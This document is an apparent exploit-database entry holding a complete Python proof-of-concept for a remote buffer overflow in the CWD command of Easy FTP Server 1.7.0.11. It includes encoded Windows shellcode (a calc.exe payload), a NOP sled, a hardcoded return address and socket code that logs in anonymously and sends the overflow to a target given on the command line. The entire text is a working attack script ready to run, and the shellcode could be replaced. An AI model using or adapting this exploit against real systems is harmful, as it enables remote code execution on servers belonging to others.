EasyFTP Server 1.7.0.11 - 'CWD' (Authenticated) Remote Buffer Overflow

# Exploit Title: Easy FTP Server v1.7.0.11 CWD Command Remote Buffer Overflow Exploit (Post Auth) 
# Date: 2010-07-18 
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Software Link: 
# Version: 1.7.0.11
# Tested on: Windows XP SP3 en

import socket
import sys

buffersize = 268

# windows/exec - 227 bytes x86/shikata_ga_nai EXITFUNC=process, CMD=calc.exe
shellcode = ("\xb8\xf1\x18\xc7\x71\xd9\xc7\x29\xc9\xb1\x33\xd9\x74\x24\xf4"
"\x5b\x31\x43\x12\x83\xeb\xfc\x03\xb2\x16\x25\x84\xc8\xcf\x20"
"\x67\x30\x10\x53\xe1\xd5\x21\x41\x95\x9e\x10\x55\xdd\xf2\x98"
"\x1e\xb3\xe6\x2b\x52\x1c\x09\x9b\xd9\x7a\x24\x1c\xec\x42\xea"
"\xde\x6e\x3f\xf0\x32\x51\x7e\x3b\x47\x90\x47\x21\xa8\xc0\x10"
"\x2e\x1b\xf5\x15\x72\xa0\xf4\xf9\xf9\x98\x8e\x7c\x3d\x6c\x25"
"\x7e\x6d\xdd\x32\xc8\x95\x55\x1c\xe9\xa4\xba\x7e\xd5\xef\xb7"
"\xb5\xad\xee\x11\x84\x4e\xc1\x5d\x4b\x71\xee\x53\x95\xb5\xc8"
"\x8b\xe0\xcd\x2b\x31\xf3\x15\x56\xed\x76\x88\xf0\x66\x20\x68"
"\x01\xaa\xb7\xfb\x0d\x07\xb3\xa4\x11\x96\x10\xdf\x2d\x13\x97"
"\x30\xa4\x67\xbc\x94\xed\x3c\xdd\x8d\x4b\x92\xe2\xce\x33\x4b"
"\x47\x84\xd1\x98\xf1\xc7\xbf\x5f\x73\x72\x86\x60\x8b\x7d\xa8"
"\x08\xba\xf6\x27\x4e\x43\xdd\x0c\xa0\x09\x7c\x24\x29\xd4\x14"
"\x75\x34\xe7\xc2\xb9\x41\x64\xe7\x41\xb6\x74\x82\x44\xf2\x32"
"\x7e\x34\x6b\xd7\x80\xeb\x8c\xf2\xe2\x6a\x1f\x9e\xca\x09\xa7"
"\x05\x13")

eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll
nopsled = "\x90" * 16

payload = "\x90" * (buffersize-(len(nopsled)+len(shellcode)))

def ExploitEasyFTP(target):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect = s.connect((target, 21))
	s.recv(1024)
	s.send('User anonymous\r\n')
	s.recv(1024)
	s.send('PASS anonymous\r\n')
	s.send('CWD '+nopsled+shellcode+payload+eip+'\r\n')
	s.recv(1024)
	s.send('QUIT ftp\r\n')
	s.close()

target = sys.argv[1]

ExploitEasyFTP(target)